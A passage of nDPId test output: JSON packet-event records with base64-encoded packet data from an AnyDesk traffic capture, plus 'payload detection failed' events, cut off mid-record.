Dn+ee1U8bgfWNyMyJOBLL3xdRk0j7R0Iwu3XSkqaiBkhD0eLg2B0WL5Dv2i\/A+a\/KpJXKaBnF9yQhehYI8WRQuCvKbnyLWYiMa\/OkIcz5Rf7itkQSFOFrwlhZbeLDsy57ORs9CTiY9E\/skyxMeglsOWgS+0Gn6Nwd7M36Mb\/iShmiuwT7T+cizy7teRG1Z+PsrH4ooxwH+6kRShxL2QOYEpeVeFcSuLFjWOSqCdnRm3H6Z\/gxOYWa3zV8LN6Wj\/N1lOcNNf4a2N+sDsawQNDjNkru5\/G\/G+YJVNFHCFZg1KjjvihqeHLflxvEv5m1XUg7o2GyptMZ7pPGXhgOBzu7GPaCuoFdP1k0Kxui8EwMf3j2pxCBsj4gymVk2ZL5Rhv6H2CXvWQM0AQSbmLUSr8wtunqPMhqsDyMt6rQtEhZYrGlS3\/ACaf829YL6J0mGc3qHzKPw3aLpHI7kuvJyLCifTnnbLIbiTkw\/Q+L54U6bu2avcCioAkayzY86\/6piKfQaEdW1LfIy0T1rHYSmUPs5ibDYnSz+4S6zeuSLG4bqcfPM2PUJXwVzfYrcp7Hk4IJ3lQDEXhFYnsIg7+K9ArrmY914LqD53CR\/Ky58+I7MznBA5e9FemxbcJIONx5JbDg1jGUlRhTtyyixNratGqAlkVO9o6XC+mxAwAL\/VrhtGIkGKNKHtUcqh9Ezdc1DXIKh4BfQGfTYmGv57zDz+RDjrNLS4boY8YwbA6kjxarP+7REsp4lQoy8kWCVVUyfjnTyEYNMdb9HjPbkl8vYvcQuKy4MuZW28n\/s5RDdh36MHfQtETtF4lZVKyiaLgkAdxumKp3FGvhZ\/irdTeu3M0hTNpRHQhbdWWjkgKvH5EuQbPwlgx1c\/RYWoMMb47M7kJPGdzvBrqFPzEc7rr1Jg1Q\/bzqCGuLx\/G1BfAirTonTR8UbIeQReJ2yWXJjuU9BHuDpoe2D\/NLKzcu4xoiNBTSeL2idEz+afQCPgvTHMGnuvp\/6QbrWjeiOAuwwxm1aCFo\/6cwTF0ozWwN9\/gyVCRAUYXvHT1+jhwo8Y3cOIqOE+rynNbIlp9KiU5mkhB11xbEkXqqQTWTl\/BfKHckfpkfuXkR4mB50lbv09QKjgmKwBK3VvlfiIoeHnIptYrwYDoM0GazM78gpvSpVwRE4POyTppInZB46RtTCZYpYVu1ENPgdRMuEy7pmi0ax5WHg+GhlTGsQUOiGUSVm8hzNDcVQLC6qwPQfgFz76iXnuDdjRQBzeQr9kqGgWZvdLq7U4MtjPnz+Pmcoi2zO5eI+QqdFo8vUkZrhTZR7d707qIQuhHxxEprQKmMumDBfn2x35yfP2DGsddGw0P5pRr0Dgsz2Grg3UfmekQO\/a2fhSP6oSZfHr3Mb7wB4APJA+t3NftDoVoQq+PhKVU4WZLcAtIBAj84vHXVGyxndL6x1N0uKY1a5sZKJLXvUkWM5dydFHMJqX9R2gEp+hGBVtWNoLqKPxA50hQKhdLr9NgukhfT8mZQsVvqduGcO2DC2zWKOIXZgil5ixBbI3gZMkp8uAatHfhIqcDOvF78K5ucDCWPBHeEmqDrlErdxsBoJXOn2Ax8X5ckBtXmOztteuNb1TJmeEswJTNuoGGCoodTy6Lt0dZosuA5SMtai05YPHs2xMpT2tDr9NngrG3FKqXC610YiVZfjazoQ1CjfsuxN+8Jy4d9I5\/TBUZ0kvAaedE7kVptlzcHaI\/TXceKL8AkKZ2R2B2t2AsIJrvOgOSb+WaMrnRcGC\/IoQiv7u54P7aTNwSd7yaer3kQjWkl5s6PWTgdYDP9xTuIkW1R82aSXszZ498L0S39e9XuN3v\/5kqoDgyWjWIN2q0JXS\/uUMxnEX+TEZdiMNFgLJVqCJA\/1s\/aKXYdlJwfFZrqS3JlOJRFUetvJLPTTAJqwVkROpDjT1Cdb7c4giLEfeyk4L2BOjmo1uPIU\/oQ5\/1CIb2vHpQOmkjNOWHpa9WWZUOAbGDnKAKgbK9KQA9HcO4HzuGsbMDa79QJDxetapZyY4t8+\/6X7BhlfOMXoZXVP2ZGjx+j1rUIsnkFU1UhNJSLv7l5oLG5D9ZJ1nixGgaQiuU98naTZQZrswyuEapU+HpnEclP9qQ9pBEEhrfKtWo9JC\/ZboBW7yVf7fuWKHvBkVB4KQRfZKCQGTyN99UMlpGaFTaUu3iwsKXAsTolm7J8JfJUwFr1Q3I9\/bFkHesNvZjsZF5N03TMh+Nkr3lA6fR0FcuOjpjtJ8wyTdnBIVxw5NGmXsiM8p4+ZTfLoMhKftV2BnLtBRGtQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":929,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1974} +05923{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":932,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":291658,"pkt_caplen":4140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4140,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeohAAIAGAADAqAG7wKgBstOUG56PH+\/AWcQmX1AYIBCExAAAFwMDD\/FZ4hNO+msVdf\/GbouOPy4e4v84M84INxBsJlJldeut+XfST9EksH6nOi2RfPsjXztQ7TFPaAoCcvoaZp+iAu5MBxAq7ljv\/okL\/kmCRkDR4\/PTvGfJLSDO6TJqyg+bhsE3uX57dID4CeyYzSMmfmvCdrP0G0m1zCupnk6yuvOu1qMOo8XsyR7nBOwxBdvuivTZ8il7gft4nZWDjZUR9Pc0LQjWtTrmCPDDHNC0b4l466vddqD0RSOOGq+e8q0otwBuTw+GxbrWufFcfg0iT+YcaWuSHZBMThMVGne1xFHptglaOStCjWgefs\/X2O6XRWhTHYU1DXaLw+9NCYHwuX2J56\/Rc5\/YeOhfPkBSpJeWNzyS6LqC\/U41+lm4D9aiPlAkiyESeu8aSEljupzGr+CpJTDdMwlTfme\/jqjE+UmY1znKEjVeNOYXDcGrJd1F91QlhDjDIoSk6241l2Dbxg8UcG8maeiCSjtYtM3md9bx8k1cWzZN+FudQnSUHmBKqTA6dI0++v+M\/9nkT9IaNVlKDLLIjYRDf28P7GunyLztZA4JV9MQe8hvZHhqdYvYMfl46MQKdHLk4dVSFUqcYvDJvvIiE2hJ90xERYXk4xBQDY4J4rxsByEUAoe\/Cl9q45Fc9tYXCJptXQWmKnOLc8Bs\/Y72rAcQo+Le8836tQ6dYWK6st+MPo83o4RamUbScqB\/BP0ewGCzDTU2fawenKZjHBDtT1PwlH\/ivvlogOYMjbvb5h+BcIBwiytlXajzthrJWMYG5FJObpRPouz3gYYJd7Y2U2G7NxY2UP9JDlpkwgDNb33G5fkYSaRQ1rnN0SupUT+04mlgfA6UKr325RFyLvfYPhF4JnJ0Uj5N3H2nVp9SdoZmyITLHvwZG9buobZmKV0B3GDXD+CI5SbHBzg9MsjVRwYgtqi17C1wMxhyt8f+Xnsl1hKk1IfM3cKuilJWNMZlNExLUEQmZ7giyujU7SGnLhvDA5h4VxvejeQdu\/LWpbsuU1+ttCJ2uNMMr5VKBrwNK87Kv6TrOoKjRaYGHzksrb\/xq+lqEkNM1kYyqE4VfkZ0IOLFXapweDDxfvwtJ3P\/vmdF5qkqN9MRa3a\/HJaBA4lmyq6lk5Y51IAXvP05NP3GqiGdMwpSl5KIqlBdDUpl1AmCT4RlX+\/KIIfxng5DUomZPwU9YIQ5z4FwgA8LwBcIq\/tbQuPp1DvANc4b5+9tyLCwW872vnhL5obLWajbkR+l5IXwkhQyEI2ToybMV3ZEoN+ePmhEh2bEijuYHo5OeqJ6WQQmIKC3QaIFC\/IOX5OM6gB2kV13ROJ1HepL5bZhmsdqg74Y6ESMnwAo493rIbArEAihBkdKJt8kvxlhsJHb6QrsMUMWjNQeVdwZWdVk\/QtPnY9MY1XB2BrhuSPknWFoL4SGAFEXZM1UqUeGYmNHfSJNP6LNMPQ3\/NQ1\/oMESHqZjtGK7xQRzXSL7EgDqmyEuFKzAUqpCoLZFIQFtF7Z9xdGetUwayxHabsciLghKnRyCZBGSDPocGzMsgNER4a9Ng+YjAc5lCd9oNSkTM5tvB9d\/GXSsTsXfj\/aqH9xsUmkDTjZkX8LlPh+r3L9yE4dQiEV4g4t8nr509P28dOICfH+kedxwgvn6ArkdW08nS+mQeb8gKY1axf2j2Fnc45LCcr9uVOu5UTls\/DWnG\/J1D7PPrVy+9wKoMgr5jEqWfbUZCMGHbHPyX5aVQKSvHguDX2DfgpBh0rz6vH\/NF2GzhPFar0tuEFkjAYpRXfw4lBeRi4MZdojvZ+TDummJ30gaBs2X694ul2rfo86XmXBQpO2qMx+AJb038QXLVlWKW3oT1tGHLyDxNcdFWbRjjBGHquj1dYOJTMj8L4yt8zl3DegN4iixOx44CvHZFKoQTDAfl+N4RMULq8Xxk14npdCfWfwOzN662kmpmmmPCInajO\/APvG+xaA5WyAavA8KB1kgQsc1KZm\/vdWsKqvritia+u3KqmVIGNiWUq62tq8D7aDF85gflrqheXC49\/Sf67MWfNhtUbPxAhawnireyM0ADQtm6cNsFOYtWEOKqIMpl4rAyO5zTqQ+9tZwli\/AUJXDuaBEAFbfH1uL1kgUO\/+NZiQSMG1pjFZwKSCYWMXcPffE1tv9LQnUjuyyuYYBUTsYjxOwRtx1\/hko2r9DxTtlLaMMbNks6+AdkmA8Y+qg0mhkL3vuh0jP1rYB\/YyUI+0sZyDCAhlxX7Mo0x4rP2WwKx6oQpEAIiW5lO99jTZEeC+Z1Aww5oa00y09LqvsQCYNsykv0unvwJjeKc2TPDPJ5xCzJbNHgfH7kVT0Xp6Ib\/S5llHWHNtyO9WhttxMfAJ9NcpGk0+46Zk08EEonaPmUa1DHEKr726Qtzeu+A3S+u9ohlMhdPe3GP8MzyEQaDunrGaxvX\/G+JZWRROEGvyBX3xaTjDpqq2TASjE\/B1TYy2JVRmvavlHmiOlK+8stdJlqqviQBN4xNRjzqC\/\/mgmTI6ssRrUcIJrDv6rr\/lTjGvrVBQfnHF3FlglkUGqnO0l+HGBlDC983PHyokV0CgzaKP4Vh0MsPvt5d7J5Z+kmebkBdaBF5n0\/AGJrvK6nK1Zi7Xjbix6n1ln6OHH8IChe\/iPJFwYh1PbRIz2eOLMv6RIhs7eFgyMkJ6BUopBY1jC3PdPkAhCOXrNcUysy3QLH3QCg5ZT8AqHj92qxpq6mcdUkX7qRSO\/z+pBgHzJccHT6cr7DaikgJCsy3rxAtxSnoSFOZWqR2bO2ufV2TPcioKHB3mcvGnYl7WytYLWpKeI1QLkB2hl0TULSTTbASKLkTuDlxDsxmP1\/NNjLna0Eyf18CfcRK4defdtvXIzdi+1IXUcwR8FCwqN9XGaszh6uEY4RdkHN2XLsK1oYr2A0O7urm\/e\/GvuekN7aPnbcpCU979B3FSnBBXZoMRcX\/VZOnoPS5pbXNvHa1pzSAjTaN1\/u1s2xfFx0lNZcQMrV6rgxsrDVsq2lQqepuIR6T8pHJ\/Icq4XK95aU9JIAIO\/IrLBags4IVSxXBmMggmyDbnKiPpeUi1jfrPV0BlfxWfLshsFeWhYkiLxIdepmzc925qdeb+N5AqyILk3u5X9OHnifl03Yl0\/d9eaiIPM6AqkFhyiSsemEek3FXf2DnmQnIx2xqY2YPZIxcl8ZtPL0uwVpIHYE2xp3EKvmk2MuEw8Y\/cYKJ1JLrSg5sCGWMIx6utumvqy4AyEMxGv\/E9UOnacJA3kulacuU8Ly3kky0D\/Wzt2LPQTXRVP43sRMxcEDaHbzU3YqwsIUjWnnaC9nwJSXlCQWQD6DwvY\/TNqzLv2af2SqQOy\/2BThZLzlqCg0BNtbNtr+utd7FQjp\/rrdqh7\/mvimYLH2KTu54GK6a5WiQducWajRDL4uF2LPamVwpROmOdzuotmJk4OAd2VPUtigcfFP5KaxYLviRXzMN4biCTQqbRP4KWeexCj702OsdGbHEkUpzLLZZdJYIVgdFjJU+JX36r52puf7OnXwQ6O1xhXHKpjibckHsh0J+bi\/KxykiZ4NBCoj1V3Hrnv\/Klj7sVX3CYCnRNdwNM3iiJLwFM8+pCkfjD9Txqx1vlCMiumgldrEYYgNrdqwW5BrhRBju1O7riKXToi5QMHNc+J5RI1aMP+RFmxhJGtQfWW5MfRscM+FS+1FZl1VzNtuOhEopk6U3FUzRMelceRwh\/ATXccmJTCcz0wKky8KqjD+Hvb6itA3lwfo\/v9zq1jMKbuCa6NU0jj3Q4kYDyDa7mE10Z6lKAcCNSXa9GBM1SxJQLLcQQeGLT\/0Dm3s\/D+qLHjkqNQa5SvQQyJCBcUugTs1SZOjc8ZaTVH+lqPEwVLKYWU1wNYVaKFUO6vptp9WHBZIqpoQFjqr1vJocDAzCNxh+5NrOWKQVCKgb3VF59H55ArIb1Vyk+z\/0uPy6KEaTjq\/\/4cHcafERqHbFTswxifhXYjnc165hpk1wm9Eko4qSc3gtpdzlWQupn7zcyIjl4jy54zEYFLnr3mo\/U+OOZh1YGRDCzstZeVMOu\/NyXdDpQDQX5yfmazWXS7PBaT78DmhkDSQB\/KwCWL1r8\/XO+1X3fNLz8wXFku345qxtXLh0iJMO+IXi+nWij8IuZUaQxzy8pQIvcaHL+Wd5+oLikZUD\/mLnxuagKe0CMe1mlRrR7SFAA2GCkx8dtzUm16rENQ2v7VD\/tDfCT1qyd5iwfEQzgVnfthY\/3ri9WNCt8e0Mq0AdFS4XoicdNoeQy9bFl\/Sf29eCsG9npw6YQYSEcwyyhnFxmyRwMjM0hLOUUlVG0BISL9xXaqq7G5dtJ\/u0ApA+tPoHxWC1+HxdDSTXwKndKG8X3nnph48BZmwS4W49kESBT7uTAjRMTgWWyivEHmpPLaNgJV+bBERfwiL1IfnbQPvyU7LFni06yT3qW\/\/DI2LAY4iClWLJwMno\/mZxPrqfwSc1CsvTlejQOeUS5SMl5sOmxz\/DLDFNRch+A2ZsKQJmTxSJDk7\/hJ\/z3cwlexFUqnRSl4YYcJAPPPRgKRTpH4MkFwsv9YA0I8EXNxKFHKWJccWMRe4aqKCaXnX9OwWFgcaDkGEEcgmpZCgqz6Zr2ndn750\/8vgs1DIITmxJ\/q4KPMkJ0yyLPPHQSbVaIw2UaTTGnMKlsoScEF+L5Pwet07MyCU6VOIN4SHbKx\/PipjUnotYcapvAM3gFsSen0gg6ogxU8Qca4bAgFEhTs1fXo7\/1R700pU29QbaCJ4VQDuDRtyVKj5k1+mP0BGse6NstvPoxKoXyQ9MUrW8VRMtvDbO21XEgCrDajENsADBiN86w2FnWEsyxfi7znAp+Urp8yZ1eG4B3jGYUolVIRFzB9OH9TtIjsmCskxfCSTZJROaEaCRBtmCi6UKF84\/L3OXGLrcbjX2ah0Lm5zsoqzxqdnzSItLXP6hEOQyIRjc1pscg\/HA5i\/7+w+aKME2EADvbx6WJPH8NeRGt5j8Y9cFeW3kADG164GVKriFkS\/wHIQAsGBoJ1sAc91l1uvBxp00+gGjVqsXnLe6iMMj0HBQ2uEkWUG4R1d7zCUrS95n4J5n4mtRUrEN3SMvbNgRBIxbKeUzhB9PJ6dGIiqCsFy61H5X7lm22gmxrZStC2DTgK0u38rPmPKnP8E24qDLirosSefPUKybFtpj1uGFubuF9ClB8E5iHaGGiAmr0\/rdr2dJGgj7RfhQB7qs9+1+YeoDMqUFLBFcuWTFG\/PJWrGgobQSEjhGbfyO+DwxDFE6lIZJ0WQB4uGN5EnMP4TZJulJvOTEbgS8B2OI23Z4eIM2mVvo831MUqZAqi0TOxLntA+4fkjA5dXakO4BsWzrxabVxRPCic3tACnhCi\/aFW6r+t3\/CepYDhc8X3\/SkkTgkOJg43cex2VykVo08TGu3ViwBE8C1dV1t"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":932,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4106} +07854{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":936,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":293529,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeotAAIAGAADAqAG7wKgBstOUG56PH\/+2WcQmX1AYIBCExAAAFwMDFXlZ4hNO+msVdsudxnF6iErUVL+zzwm\/kY0vTBzRxj1ZjL0b+zfYNLdTHzb3GPosGKuqZ\/w\/TqL\/a2OE53VcQBhoYIUDZzZ6VugkkxdZlebDUbsdUqfGu\/jb1Enji43EPQZHhxkTYta7\/PnJsgRnlwrnwAZyV5gkJ5X17qDxrBMFKiL\/4qWPuA4aeS6nA417pOEj5Blb9g\/FE\/gVM6fKM1whlKpHnXfTmWUmNUDpLMbIrQwPneDB8vUT\/wObPehAKHNHn38JbBSfIb5BQ2BbM3g9Gdy4Iq40Pbxr4edLioSFEO\/kQ7yxv0gG5TxdyUwzqAKCVMA9QwNFW+gaHV6IVu9VbtKjCK5mrYyJdgDh+KoZDmm3bgDbyGIimXxVMGAhJ5Sn\/jiT3rZmeoFo\/jQV57wiKV5TjH59\/5xUMKujes6jQPJiN2sRMKCeo3Uqnlg0\/pnrilf\/FtKohkzhykxCJat9JYMJE5SuxUOuMlpLnFgTkhNFfjjxDRoAUctOnacE1+xS5Tfyq\/\/cb373Dn\/SAVdIomrtlxjhJlFV1yvgzd5imsc40mcSCOvgp\/NdCSqaA46V45bp+vOIcOwNJH30E\/SPlo6fwGooiZ2WVUOQiwbK\/u9O1t6QBMQHbfRXTUOa3CyT3BK5n3Z9JTk43mf5FI1SteyjTdIDcMCNqx6R\/nKOa6F4nC7p+r+cfrExWIgdMLG0IXzYy8MO2nCbBCQqrN\/cT5GWDzQGsueq5ktUc+ZG4rR3CKroY\/STLqPd8wBtqyIROMHISN1CK\/hdXGR2WhO3S9lo3s3\/ay5FCKSAnDesqSmkkHW1AjEnfa4uSbRFYB3bifweIofEyj20cKWlnLwWB\/DNS8JapLTC5HymPNHWHMZQZMmCC\/VIfMs0MIcUZ03u\/PvKbJpXxcUTANrNbd\/LPDCoud\/lhRf8qz9IrFaUXC8qfRBhO0I8qHJhpTH5unkvOL\/6\/koRznbKT6XaScWXwz6wAqYC9wQv0PtzsgryBQTWcIJ81iLhxfXT1TMG0eQQi6sioa64WK9NnMJ81bu7iDIJqTT0WAMibRVIXD7\/5EqYXDDPMr79QtrIlu\/QdFdkklmia9stt8v0Xb5H0VfY1bXigqRCJbuLolYa9J6VqLiMvGvwJYYN8UapryerwOCUHAu7G7dJMI8TBd4bQ1L+yT78lY6\/48klrHvYrDMmTd\/baa\/FFCp6ph0xtVVROwE1y7L0St+97BVGOpUuq1G15Kfws0aDE2AfxTNQXUwO2b6JUrORk7lDxCs\/XvzhEXm+h4Uk9pDy2GZHHHeCdYBz0onR4XXtxvwWxQUA6hcP9V4jgX37BUoPxreIxWY8mjDDvQL2a7tEF6IJz2F6mUn\/CHtoHVp3R3SBw7U+YSvzmr6a5+HNhu3oIJ7GM9u+28YS\/KesFpMhUwAHkFoxymbowWURVUcssOcEQMKkiKe\/x4\/QGyjtttNzpvf+15IwZ0cN13pT1nuSC295I1pCpFAi2nW8WA+FI+QDCD3V5Pcf+8wjVyZeQmu6xMVyA8DaZMsOp8MqqRK+zKFgsRybwAr26tTDfW0WMG2a\/DApR+\/k9e9dGxUbe3eUcllxJ\/AJjTntXQYDQqP4aHfS2ctpHSPoliqFAxitgT1PFK5\/mpoLGFMurn6X4KzCpFZ9xB6fyqtJN8G9Q9lVu91DGLkk1umpqImPpW2ITfZA6UggLAiE46MrRsrxHqVjtsGyIYq6bC2Hj9KoGu+ahg8d1rPY3PyOPEqwIQiHjSiDuHlhY7A5c\/ocptZGeY6E2wctBZAEZkPxk\/0PaQBDPRH3FMadhvuZBJmN03yhdB6MR6IGZ8Brr33grkw4tjMs2zm7QjaBCAbieuqr79fr4ISTrtDVbXFXBHEaE7YCZEO9c4a5o07FqTi\/uE+1GS4n\/xWUe3MMW0+5XWtuSXi+UAwWukXyvM0MgQ9XcH\/ajJZyDI+44pYxYb5SaEQ49Bl\/2gnmSnR0J\/XT9JCzRUvvGIFbkEzIxHVUE3685nRLDdfBEC29jwIjlKq0D0a+z6Gd+UkQyXnthzbxijY\/qeHStgFORmc41lwVQ6jbb21EhTVO00lvykI6NMJ2bCB5ByFdMp+Fp7BUWLEl2UH0gGW+SauCHUBuO8grK\/VjBXY7tUbprxTmT2+mhBjwqk4FvxYqrIrTTVYFL1fxc58w\/gP7otAz7KbteVVzwqmyA3WbIhfI58IsqXNUgwckyKj3jT0R2bNEBQA6ikHNUlfUUavQENGxY2D1pVxoNoXXZhMRSUafD+uzY7voE0CbNHx06plAFALM1X9JsZ3Dwb9B8OrnjMulIEmWEUsoU699M+xuf8EWvH78WoAg3ur5bbqXftSDWVY0apgkn3J2B9p\/bHswSnhUnwtPrr0rHhDfl4Brk45Ejwyc\/2oORdfpQzO4YoSjAJFS1w\/r5v\/aZOycFwXsSMP97VxdOL\/ERy2+TjDLLKfeAjSJJlJa0ZSN7XFJH3dQmmOVs0ikDOF62+uH4MeQhONxqUlJXNrnDZ9tAax9atRJzMRsErUBjfGZTXvzlF+rVF\/SYcjrxhm2DKafDV\/4qVl8REUt8fRmJwoV2LALB25PIINlne7D1aHPkPfDGGUPCjTrssWuGJy6YFM3zMeOEy6QkVvwVGbc12W+2lXZNPSCDG1AzCVVFEN2RKrsatq+7+0AyQREWdMxKnutay2v19PI+ig01qS0QbyoTaF+2+Km9RMkKQa+6nB9dTgvrQt5IDW9xVIFXHoRXsXkT4jcrl6mkUUdCWenCb8dGEuJRD+C4pPbXWwlKYbddkhJl8BpU7bBPCQQQaTSYxECzhYGdaSY2u\/nBsFY25cPw9Lc+8jvz1Oye9ylPhJ\/iHWd6hAQ06+FMmlgSU1Rs60bR8kUX9TEcJN6bbBmohGmz\/4huUaosRlnnNo2\/qX1AwBRhaDg9+8COcalrVLxkxjzAZRU+A4\/F7iCgE2\/TScmLWhrhfGqXnHQRiW9lPF\/wyrpx3Abomh4DvycVMp6rG\/WEkk32Pvt1sOBWwKTEsz6FTH0R6CvF3XKHYt\/oZ3SvW49l2NpVP\/wvfQ51ljeJmeaY7wohyoeEmcbtxmBz8OW4BjUhRqJyE6Arhx\/O4HWe5AZm0Kpp4pvHmiDoa432S4Gc3nwxiVhpg7PIx8+vmos5oyg3xox7bcoY4mnyA8RqAD0ANpYlggecqH6fnlg6kgqAOIyiAK+2eS4iwgNMMcJhbd32CtkWb8pPLWn7WDQ6t5CGFDEqI5NPkYjOETKEhuzVyC1YU5h76JL\/tOWelxku6sqI79bRCrfSZywLNhaICjoB9vmHYbDxEG+iq+H66C5P7VqfW0k+rR+5qTEzTcvtHeBLtz2xzjrXC3Va7HVoNI9A6xebrJJEZjlJoLiTG2OVaVVJAgz7\/37x5MaXlxL75beU4qhqP4skBCnWKCxNMB4oJ\/Duh9IQcoFSjoZbJmV7SbmlhCL9z86x\/9a5wCFbTiq7BkKL7v2ilL67FDgiyzE79ETBQZTSrhl7H6DMEdI9JjhjuJ8UroxeNtwyTiEKM0Q1LESZ3nbkZLlnzhDDwnX6aeFCM5J14aC+2jSA1GWaUH1jE9i7a45U4AaiFj3S6B2w8mDKo9jP7CGQXXykLXh9GHMquN+EvFMOf+Bh74kGX+SWirW3YA9CvaF\/COcXIcErvaqYziv3tGVVUgO2zC989xWAj90um9R1Ygv4UbieHpqe\/47ROGokh55YzwUIdXc4wu8QnkFWoJUdD2a9AH24PuacqdXg\/uOkiLlemWkYuqNYh\/JcWwA1PKvLtJp0+TEU4o8+8QTGT\/EUnsrn0GhhziMW96dcRX46KYJ96sI8M7gIxQ4cE9SRp78aJ1CxPp+XbIp646gV68\/Adfbm6poEMc4VNjhvsVVFko7ohLS\/hpEkfzJHjhtV62+iDNWHKi04+5ndIYrRQrCkiEij+3fa0FGcqOq+iAIdNFE8BUnScLcL6wS9bnCrGz2gKpMHbDP36CwVKp3ftSGbNK42Gd8o2rOSzsV1qw9RDjiSIJ20pJb0Tx3kNMg0BUFumdnpKtzOM+IpwzyXsCHlO1NWkWUtiC92SXVkof+VXQnb86Ni1PgpQwaozFOJjLaPoflBSZH8mVHx8jastymX7JDSlQx7CU0twRgl6ilEh\/P5+Cvy4r2PtqA6fxjHk4xScMjmMtuffX8a+8asBDsYWB6Rtg+iAjg45v8VctFiLRXBJHO8v9LQNbxoqamoq16kmqZUVv+wXFXwzQMWJ+yK9ri1qydXhxM8dVcpjfdxiNvL1E5Lf0Le4dfG0PGHeWmyEa8nigQ\/Nan\/u9vejdAqfKhy6xShdtk4O2T1raK\/GpwOlCJbTdkcfbMnxYE+NJtVBoGFiXRPzcVItlVaNnDkIZX1bxxI7N8bjl4nh3ETyC7YisL\/hEtO5JYYDsJIF\/OQPHR6f46ZCk6pN5l5m7il1isLTPmnmj9RdtOJfv++kuE4rhByc845PRFUUT5rLY\/\/F3Kr1FTyRx47bNhHhMHA30\/AeC9G9AbPZzMl4pil\/TY9PyOPCvBnqxPEFBGwVi6wuuCZF3XBrKQNvH84ZGyMCVHsYIA7tcpL1+JGQvLIWdVI3X4yBmofgiRQghxowYlOi6yAWWK2+Y9INHUHP1Eyr6VSqHC6iFLcWs1FigKpNeOCcUPxOHwCFoDTR2P+WIv6Dcr3S2ac8fe8XuUiMlmvfAy2UExcxZyJMQbKBlfVXrYH76wzehWyy+rUHl56pR1B1HRH3ZArnG\/I\/Wh35gMDT3IkiYIwnHcs25p2d5mZnEwFDIw8Yk9CxmdP5KMWYYsq5VGSEjNv4X3B7jQNtSHsY4rQ1OvarcvlMpitqB7pE9PcYYGvrNLQ0Gz64ETqiWfZYJvsr2r8GYvPkR0Edlvcujv+erxIjRFdOCFd7iPyo1YClcIx2cXxyPaHQvyfrBzQOUf44Ug9TPOPjp17zwvrOUoklINBll1qH6WFb8w5O5+szLL2xOStPn2CwppwnSX0LKXfoy3665NxO9dVUEtRNrSY+Gai7FdprNLYYzsjcr4uUusHMLRBd+W3cvT1f+hwS0umDje1oQ8sJzR4rmCF1rC9ojyN5TtfnjTgZ5XDXYYdpQCF9BIC6lNZAY0BxquUBbw\/ZX\/hUw9X1MlswvwM+5KXfnR9yN\/50oECdfFDhCGsuoICpY5wLIS\/3nUQ5R9wShljYK+nIqvu6E4KL9au7ZwelufuTMEnUDDSPG7J8D9QR\/nf2fW9fI+C70mZh0+oFGxGh0WDGHdHqt85iI5e5S+wrM7OPV34ReFFV3adbGPA\/OWpFZIUsIJForLN9ixN8YwcVA9Hh8zY\/EE+m+jenYPuAadzdmyUmN5yeZADSmmHK5aBdXFygxqcG4vdEt4jcAueAZlXzFaCRKAdZ\/yupUrHyHeBGn1YNLWIoLB0y\/FZXRT74bcEVWhYRNuICRMht6wz5PbfphRsfMFmZOCiNKVCS0cvQbb0uLwvOGI1eXyw60gBwKyICOufODK+MA3TCzCEsBS8JXCtSCe1Y9P\/qQYY6a9rx\/K4OQSXZskj\/k79brN1DvTBsVUVnyyq2rwRQV81DB0oiou0b2vW8rjz30ihO7ypUu7st1pz+nH39vL5u\/9WMS0eIn0drA9MwsoXOBPNFPJXXmj6jr9YinxavL76Dgrwm65Wx+lYfZ465ecvIvnl0dGfDUMVDDA5uXTAj6lOff70sqKVrNXzTuVYpMwjgj6YlmVD5QLUe9iQ6dgfgeJVuRMPIWydZgIgAi46We9o6\/fWwX2WqM9zdttaROEV1Rh6O2d\/C05ClJniLEyLr5bOKkvQXzmOXzjeg8GnTK+pvnWUodP2aPl1J5OBNmK9NSaqzq+QeDofYJ+v4Y9Eu3\/Vrh8LeI47wK+ahRrFIw2KA5d38BUHtfN93zZrpV+3ixfzJECbH043B383MX\/b9RwxlzUg61TZxkpXdz9oEOBbAL2wbmCPBuzxDAlUWh2P+fayKiNkjyj\/Gyk12ih8qH9uX67YVO+uiPviwD7GJicbcN2A4dOX1GRlec+P2CfWPOF9XDy\/pTDrwu\/7FsZYriK+2DcmQXWrCYnPkO5feHy\/uKNTZDgfeTgKhJlrnJFTuYMkxlMDCQEwNY2jOVIv5LmkL5ySiNEiHbZzaOdhHGQKet0fTCYE\/YEFHV+MgwRDkYmPDoEFpS7tJ89+uvxFR7\/Hk+XsOVBKqsXPkCC7k+9VKENQcXj13p35FTCSKqwg2wPS9IL+AuTG2\/3PKc56NNgvlL7n2+fXKFIxuE8q\/P7zRcWlpAqIxSnfTER\/pkR7G+peg8YbTSeUtUDE\/q9Gi+3i6d0PtwFwYKdCB9gYIWHmeu3hmko3PIAZTtAYVAA1qHKyyCrAPuPPJGRgvbYrUK9XVQ6dTuPa5+ZlqlRfr2xBuAUek6KVR+4O9hxoz\/JvpBr9IOBpVGMat2uwM4GKp+4eRrl+XmWKgCAHh5RkT5rqB3qUJUARk9kq441fhWqUqoDFawJK8u430f3Lr8\/yzexYaXsLbLlEkw39zhn8XZVnY1sDI+Z2jEQNtpGF1H6vTYFmjsfsECPkmDwr5fvvVPZEp2vvdzh6or6PVYZe\/ZfQh6q36SWyBG0yUHOustfEln9\/zmt\/ycWJhtezanbOmdlOUvF1dkK3B4eecdHwX7VyA7q1jwarqj9XqbsW2NIJH5LutLfwpWM55EA3lzgMEXI+Qn3tv7Eil4nXBkG3G58XgIC72C51fgDhvTD13DCINcnT1mS3NRuAqmtrz6KGDzbiwuu4Mx0qICqQGhJnyUPTHiCo75dst6kk0NptA2doAZxQdpmB\/R3KBnwfq4mIebLhbG71tNbI2i88cwGfWOBarf5Ok0ehu\/59pLtTR0Iv6X1T9\/wkQJTdsrN16K2BVpiwm0NvE4SFDycqHyrw57nYMazbgoon3cfOsNR3QAaAEV0KNmqF